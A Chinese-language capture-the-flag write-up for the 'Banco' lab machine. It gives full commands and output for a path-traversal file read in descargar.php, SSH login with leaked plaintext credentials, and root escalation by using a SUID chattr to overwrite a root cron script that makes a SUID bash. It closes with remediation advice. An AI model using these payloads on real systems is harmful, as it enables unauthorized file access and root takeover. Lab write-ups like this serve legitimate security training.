TheHackersLabs Banco 通关记录|LFI 凭据泄露与 SUID chattr 定时任务提权
靶机链接:Banco
本文命令以攻击机 192.168.1.113、靶机
192.168.1.102 为例。靶机重启或网络环境变化后,请替换为实际地址。
为便于检索,标题沿用常见的 LFI 表述;严格来说,这里的
descargar.php 是路径穿越导致的任意本地文件内容读取,并没有通过
include 或 require 执行被读取文件。
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| TheHackersLabs-Banco | 192.168.1.102 | Debian 12 (bookworm) 靶机 |
文中使用 Nmap、curl、grep、jq、sshpass 和 OpenSSH 客户端,复现前请确认 攻击机已安装这些工具。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp | 锁定 SSH 与 Web 攻击面 |
| Web 分析 | 登录逻辑完全位于前端,表单调用 descargar.php | 发现客户端认证缺陷与下载入口 |
| 任意文件读取 | archivo=../../../../etc/passwd | 确认路径穿越与 LFI |
| 源码确认 | archivo=../descargar.php | 确认用户输入直接拼接到文件路径 |
| 凭据泄露 | 读取 dbsuperscretinfact.json | 获得 wvverez 的 SSH 明文密码 |
| 初始访问 | SSH 登录 wvverez | 获得普通用户 shell 与 User Flag |
| 提权入口 | SUID /usr/bin/chattr + 0777 backup.sh + root cron | 可移除 immutable 后改写 root 执行脚本 |
| Root Bash | root cron 创建 /home/wvverez/rootbash 并设置 4755 | 获得 euid=0(root) |
| Root Flag | 读取 /root/root.txt | 完成通关 |
0x02 侦察与信息收集
1. TCP 全端口扫描
使用 Nmap 扫描全部 TCP 端口:
nmap -p- -Pn --disable-arp-ping --min-rate 5000 -v \
-oN nmap-full-ports.txt 192.168.1.102
输出:
Nmap scan report for TheHackersLabs-Banco.lan (192.168.1.102)
Host is up (7.9s latency).
Not shown: 53465 filtered tcp ports (no-response), 12068 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 1C:75:C8:F1:64:A8 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 125.93 seconds
目标仅暴露 SSH 与 HTTP,后续对这两个端口进行脚本扫描和版本识别。
2. 服务与版本识别
nmap -Pn -sC -sV -p22,80 \
-oN nmap-services-final.txt 192.168.1.102
输出:
Nmap scan report for TheHackersLabs-Banco.lan (192.168.1.102)
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u9 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Banco de España | Portal Corporativo
MAC Address: A8:64:F1:C8:75:1C (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds
SSH 需要凭据,因此优先检查 80 端口的 Banco 企业门户。
0x03 Web 分析与任意文件读取
1. 客户端认证与下载入口
保存首页并搜索登录逻辑和文件下载表单:
curl -sS http://192.168.1.102/ -o index.html
grep -nE "currentPassword|user ===|action=\"descargar.php\"|name=\"archivo\"" index.html
输出:
596:<form id="pdfForm" method="POST" action="descargar.php" target="_blank">
597:<input type="hidden" name="archivo" value="sobrenosotros.pdf">
633:let currentPassword = 'DNASdada11THL';
640:if (user === 'admin' && pass === currentPassword) {
671:if (user === 'admin') {
674:document.getElementById('currentPassSpan').textContent = currentPassword;
709:currentPassword = newPass;
登录校验完全由浏览器 JavaScript 完成,前端直接暴露
admin:DNASdada11THL。这只是客户端界面控制,并未对后端
descargar.php 建立有效的服务器端访问控制;后续请求无需先登录
admin,可以直接向该接口发送 POST 请求。
2. 路径穿越读取 /etc/passwd
下载表单通过 POST 参数 archivo 指定文件名。将参数替换为目录穿越路径:
curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../../../../etc/passwd' \
| grep -E '^(root|www-data|wvverez):'
输出:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
wvverez:x:1001:1001:wvverez,,,:/home/wvverez:/bin/bash
确认 archivo 参数存在路径穿越与任意本地文件读取,同时发现可登录用户
wvverez。
3. 读取 descargar.php 源码
根据页面与返回路径判断,Web 根目录为 /var/www/html,下载目录为
/var/www/html/informes。使用一个 ../ 回到 Web 根目录读取脚本本身:
curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../descargar.php'
关键源码:
<?php
$archivo_solicitado = $_POST['archivo'] ?? '';
$directorio_base = __DIR__ . '/informes/';
$ruta_completa = $directorio_base . $archivo_solicitado;
if (file_exists($ruta_completa)) {
$contenido = file_get_contents($ruta_completa);
header('Content-Type: text/plain');
header('Content-Disposition: attachment; filename="informe_banco_espana.pdf"');
header('Content-Length: ' . strlen($contenido));
echo $contenido;
} else {
http_response_code(404);
}
?>
漏洞根因是服务端直接把 archivo 拼接到基础目录,没有执行
realpath() 边界检查、文件名白名单或路径标准化。
4. 读取明文凭据文件
原始复现记录没有保留
dbsuperscretinfact.json 文件名的发现过程,本地也没有其他日志可以补证。
为避免虚构枚举命令或输出,下面仅保留对这个已知文件名的验证步骤。独立复现
时,还需要根据完整页面源码、备份线索或目录泄露另行确认该文件名。
使用原始记录中已经确认的文件名读取 Web 根目录下的数据库文件,并用 jq
提取可登录用户:
curl -sS http://192.168.1.102/descargar.php \
-d 'archivo=../dbsuperscretinfact.json' \
| jq '.users[] | select(.username == "wvverez")'
输出:
{
"id": 3,
"username": "wvverez",
"password": "dasjbdaDASJDASDA11E1DAJDQA",
"role": "user",
"email": "wvverez@thehackerslabs.com",
"ssh_key": "/home/wvverez/.ssh/id_rsa",
"created_at": "2024-02-20 14:22:10"
}
得到 SSH 凭据:
wvverez:dasjbdaDASJDASDA11E1DAJDQA
0x04 SSH 初始访问
1. 登录并确认身份
sshpass -p 'dasjbdaDASJDASDA11E1DAJDQA' \
ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
wvverez@192.168.1.102
登录后执行:
id
hostname
uname -a
cat /etc/os-release
输出:
uid=1001(wvverez) gid=1001(wvverez) groups=1001(wvverez),100(users)
TheHackersLabs-Banco
Linux TheHackersLabs-Banco 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
2. User Flag
ls -l /home/wvverez/user.txt
cat /home/wvverez/user.txt
输出:
-rw-r--r-- 1 wvverez wvverez 42 Jun 7 01:37 /home/wvverez/user.txt
THL{dadDADADASJDANJDSDADLASasadanjdaibda}
3. sudo 权限
printf '%s\n' 'dasjbdaDASJDASDA11E1DAJDQA' | sudo -S -l
输出:
[sudo] password for wvverez:
Sorry, user wvverez may not run sudo on TheHackersLabs-Banco.
wvverez 没有 sudo 授权,下一步检查 SUID 文件、定时任务和可写脚本。
0x05 权限提升
1. SUID 枚举
find / -xdev -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
标准系统 SUID 文件之外,发现 chattr 与 lsattr 被异常设置为 SUID root:
-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/lsattr
-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/chattr
chattr 用于修改 ext 文件系统属性。它以 root 有效身份运行时,可移除普通用户
本来无权更改的 immutable 属性。
2. 发现周期运行的备份脚本
检查 /usr/local/bin 中的异常权限文件:
ls -l /usr/bin/chattr /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
本节原始输出采集自多次复现,文件修改时间和日志时间并非
一次终端会话中的严格时间顺序。为保持原始执行结果,下面的 08:17、
08:18 和 08:25—08:27 时间戳均未改写。
输出:
-rwsr-xr-x 1 root root 14584 Jun 6 2025 /usr/bin/chattr
-rwxrwxrwx 1 root root 429 Jul 28 08:18 /usr/local/bin/backup.sh
----i---------e------- /usr/local/bin/backup.sh
#!/bin/bash
# backup.sh - Script para respaldar db.json
BACKUP_DIR="/var/backups"
SOURCE_FILE="/var/www/html/db.json"
DEST_FILE="$BACKUP_DIR/db_backup_$(date +'%Y%m%d_%H%M%S').json"
LOG_FILE="/var/log/backup.log"
mkdir -p "$BACKUP_DIR"
cp "$SOURCE_FILE" "$DEST_FILE" 2>/dev/null
echo "$(date) - Backup creado: $DEST_FILE" >> "$LOG_FILE"
ls -t $BACKUP_DIR/db_backup_*.json 2>/dev/null | tail -n +11 | xargs rm -f 2>/dev/null
脚本归 root 所有但权限为 0777。immutable 属性暂时阻止写入,但 SUID
chattr 可以移除此保护。
查看备份日志:
tail -3 /var/log/backup.log
输出:
mar 28 jul 2026 08:25:02 CEST - Backup creado: /var/backups/db_backup_20260728_082501.json
mar 28 jul 2026 08:26:01 CEST - Backup creado: /var/backups/db_backup_20260728_082601.json
mar 28 jul 2026 08:27:01 CEST - Backup creado: /var/backups/db_backup_20260728_082701.json
日志每分钟新增记录,说明脚本由定时任务持续执行。此时仅凭日志还不能确定 执行用户;后续生成的 root 所有 SUID Bash,以及提权后读取到的 root crontab, 共同确认该任务由 root 每分钟执行。
3. 移除 immutable 并写入 Root Bash 载荷
使用 SUID chattr 移除 immutable 属性:
/usr/bin/chattr -i /usr/local/bin/backup.sh
lsattr /usr/local/bin/backup.sh
输出:
--------------e------- /usr/local/bin/backup.sh
将脚本覆盖为 SUID Bash 创建载荷。最终文件放在用户家目录;文件系统是否允许
SUID 生效,以下一步实际生成的 4755 文件和 euid=0(root) 验证结果为准:
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /home/wvverez/rootbash
chown root:root /home/wvverez/rootbash
chmod 4755 /home/wvverez/rootbash
EOF
确认写入内容:
ls -l /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
输出:
-rwxrwxrwx 1 root root 121 Jul 28 08:17 /usr/local/bin/backup.sh
#!/bin/bash
cp /bin/bash /home/wvverez/rootbash
chown root:root /home/wvverez/rootbash
chmod 4755 /home/wvverez/rootbash
等待下一次定时任务:
while [ ! -u /home/wvverez/rootbash ]; do sleep 2; done
ls -l /home/wvverez/rootbash
其中 [ -u 文件 ] 用于检查目标文件是否已经设置 SUID 位。
输出:
-rwsr-xr-x 1 root root 1265648 Jul 28 08:18 /home/wvverez/rootbash
4. 验证 root 权限
SUID Bash 需要使用 -p 保留有效身份。这里真实用户仍是 wvverez,SUID
带来的是 euid=0(root);-p 会要求 Bash 保留这个有效身份,否则 Bash
会出于安全策略放弃 SUID 带来的权限:
/home/wvverez/rootbash -p -c 'id; whoami; cat /root/root.txt'
输出:
uid=1001(wvverez) gid=1001(wvverez) euid=0(root) groups=1001(wvverez),100(users)
root
THL{dadDADADASJDadfgsdgag50g50}
需要完整的真实 UID/GID 0 shell 时,可以在 Root Bash 中调用 setpriv:
/home/wvverez/rootbash -p -c \
'setpriv --reuid=0 --regid=0 --clear-groups /bin/bash'
验证完整 root 身份并读取 root crontab:
id
crontab -l
输出:
uid=0(root) gid=0(root) groups=0(root)
* * * * * /usr/local/bin/backup.sh
至此确认 /usr/local/bin/backup.sh 确实由 root 每分钟执行,且已获得完整 root
权限。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/wvverez/user.txt - 内容:
THL{dadDADADASJDANJDSDADLASasadanjdaibda}
Root Flag
- 路径:
/root/root.txt - 内容:
THL{dadDADADASJDadfgsdgag50g50}
0x07 漏洞复盘与修复建议
| 风险点 | 影响 | 修复建议 |
|---|---|---|
| 客户端 JavaScript 认证 | 凭据和认证逻辑可被直接读取、修改或绕过 | 将认证、授权和会话校验迁移到服务端;密码使用强哈希保存 |
descargar.php 路径穿越 | 可读取 /etc/passwd、源码、配置和凭据文件 | 使用固定文件 ID 或严格白名单;对 realpath() 结果检查是否仍位于允许目录 |
| Web 根目录保存明文凭据 | LFI 可直接泄露 SSH 密码、API Key 和 JWT Secret | 将密钥移出 Web 根目录,接入 Secret Manager,并轮换所有已泄露凭据 |
| SSH 密码复用 | Web 数据泄露可直接转化为系统登录 | 禁用密码登录或启用强密码、SSH Key、MFA 和登录速率限制 |
chattr/lsattr 设置 SUID root | 普通用户可修改本应仅 root 可变更的文件属性 | 执行 chmod u-s /usr/bin/chattr /usr/bin/lsattr,审计所有异常 SUID 文件 |
backup.sh 权限为 0777 | 任意本地用户可修改 root 定时执行内容 | 设置 root:root 与 0750 或更严格权限,并对脚本做完整性监控 |
| root cron 直接执行可写脚本 | 文件权限失守后立即形成稳定 root 提权 | 定时任务只执行 root 独占、不可被低权限用户修改的绝对路径文件 |
| SUID Root Bash 残留 | 任意可执行该文件的用户都可获得 root 权限 | 完成验证后删除 /home/wvverez/rootbash,检查同类 SUID 文件并轮换凭据 |
推荐修复命令:
chmod u-s /usr/bin/chattr /usr/bin/lsattr
chown root:root /usr/local/bin/backup.sh
chmod 0750 /usr/local/bin/backup.sh
rm -f /home/wvverez/rootbash
find / -xdev -perm -4000 -type f -ls 2>/dev/null
0x08 总结
Banco 的完整攻击链由三个可直接串联的问题组成:
descargar.php直接拼接用户输入,形成路径穿越与任意文件读取。- Web 根目录中的 JSON 文件明文保存系统用户密码,使 LFI 直接转化为 SSH 初始访问。
- SUID
chattr可以移除backup.sh的 immutable 属性,而该脚本同时为0777并由 root 每分钟执行,最终可稳定生成 SUID Root Bash。
最终利用链为:
Nmap
→ descargar.php 路径穿越
→ dbsuperscretinfact.json 明文凭据
→ SSH wvverez
→ SUID chattr 移除 immutable
→ 改写 root cron 的 backup.sh
→ /home/wvverez/rootbash -p
→ root
本次最终路径不依赖内核漏洞、WebShell 或其他不稳定竞争条件,攻击链较短。 除前文已说明的凭据文件名发现记录缺失外,已知该文件名之后的利用步骤证据 完整且可重复验证。